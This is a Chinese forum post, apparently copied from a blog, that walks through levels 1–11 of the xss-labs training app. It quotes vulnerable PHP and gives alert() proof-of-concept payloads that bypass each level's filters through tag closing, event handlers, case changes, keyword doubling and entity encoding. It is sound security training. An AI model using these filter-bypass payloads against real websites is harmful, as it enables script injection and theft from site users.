admin 发表于 2021-6-21 19:13:12

xss攻关笔记

>XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户。 XSS漏洞可以用来进行认证测试、前端js挖矿、盗取用户cookie,甚至对主机进行远程控制。

![](data/attachment/forum/202106/21/191237l4zks6i3fn8rzk7s.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "QQ鍥剧墖20210610211836.png")
### 安装
项目地址:https://gitee.com/Zcodetea/xss-labs
### level
!
我们首先对核心代码进行分析
```
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
```
通过`GET`方法,将`name`的值赋值为变量`$srt`并将其直接输出。
即!如果name=`<script>alert()</script>`时,将会把结果直接输出。
构造POC
```
http://192.168.123.240/level1.php?name=%3Cscript%3Ealert('bbskali.cn')%3C/script%3E
```
![]
### leve2
!
**代码解读**
```
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keywordvalue="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
```
我们对数据进行抓包分析
![]
后台过滤了<>符号,对其进行了实体化。但是我们发现了另一个可搞的地方。input标签的value值,正是我们的输入内容,且没有过滤。
修改payload:`"><script>alert()</script>`
提前将input标签闭合,让<script>独立出来。
### leve3
![]
代码分析
![]
发现value里的<>也被实体化掉了
以采用“事件”,常用的有两个,`onclick`和`onmouseover`。
这里用onmouseover,payload:`' onmouseover='javascript:alert(1)`
这个为什么会起作用呢?你把它带进input的value就明白了。带入:
源码中就会被修改成:`<input name=keywordvalue=' ' onmouseover='javascript:alert(1)'>        `
![]
注入成功后,鼠标移动到input输入框,就会触发

![]
### leve4
![]
和leve3的原理一样,只不过需要将`'`改为`"`
payload:`" onmouseover='alert(1)'`
![]
### leve5
![]
发现事件也被过滤掉了。不要感到束手无策,前两题我们用事件是因为,<>不能用。但是这关没限制呀。我们只是不能用script,还有好多标签可用,比如`<a>`, `<img>`。
所以我们提前闭合`input`给`<a>`即可
payload:`" /> <a href=javascript:alert()>bbskali.cn</a>`
![]
### leve6
同样的套路,但是发现超链接屏蔽了。
![]
将`href`进行了屏蔽,那么有么有屏蔽`Href`等大小写组合呢?
OK 成功!
![]
### leve7
![]
script字符串被整个的过滤掉了,输入的on被过滤掉了,javascript的script也过滤了。
payload:`"><scripscriptt>alert()</scrscriptipt>`
### leve8
![]
发现输入框的value会被填进超链接的href里面去。所以我们只需构造href就好了。
javascript被过滤了。这里你发现调整大小写也没有用。怎么办?
我们就可以使用&#116替换javascript中的t,从而绕过过滤。
payload:`javascrip&#116:alert()`
### leve9
![]
输入中要有http://才能被识别写入。
paylaod:`javascrip&#x74:alert()//http://`
### leve10
![]
没有输入框,也没有超链接了。
![]
通过发现,将输入框隐藏了而已。
payload:`t_sort=" type="text" onmouseover=alert() "`
![]
### leve11
![]
对其源码分析
```
<script>
window.alert = function()
{   
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link"value="" type="hidden">
<input name="t_history"value="" type="hidden">
<input name="t_sort"value="" type="hidden">
<input name="t_ref"value="http://192.168.123.240/level10.php?t_sort=%22%20type=%22text%22%20onmouseover=alert()%20%22" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:9</h3></body>
```
其中多了一个input,它的value很有趣,就是第10关的url。
在第十关完成的瞬间,我们使用burp抓取数据包
![]

未完待续……


: https://blog.bbskali.cn/usr/uploads/2021/06/2817174784.png
: https://blog.bbskali.cn/usr/uploads/2021/06/330653746.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/2888226071.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/340054467.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/4133238217.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/386735146.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/2890228879.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/3019936176.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/4210837481.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/3240605209.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/2809453007.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/2296556965.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/34133507.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/928016031.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/3460240384.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/3315444155.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/2145095881.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/2794758055.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/209141959.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/1996148942.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/2204556384.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/2541873681.jpg
: https://blog.bbskali.cn/usr/uploads/2021/06/937646918.jpg
页: [1]
查看完整版本: xss攻关笔记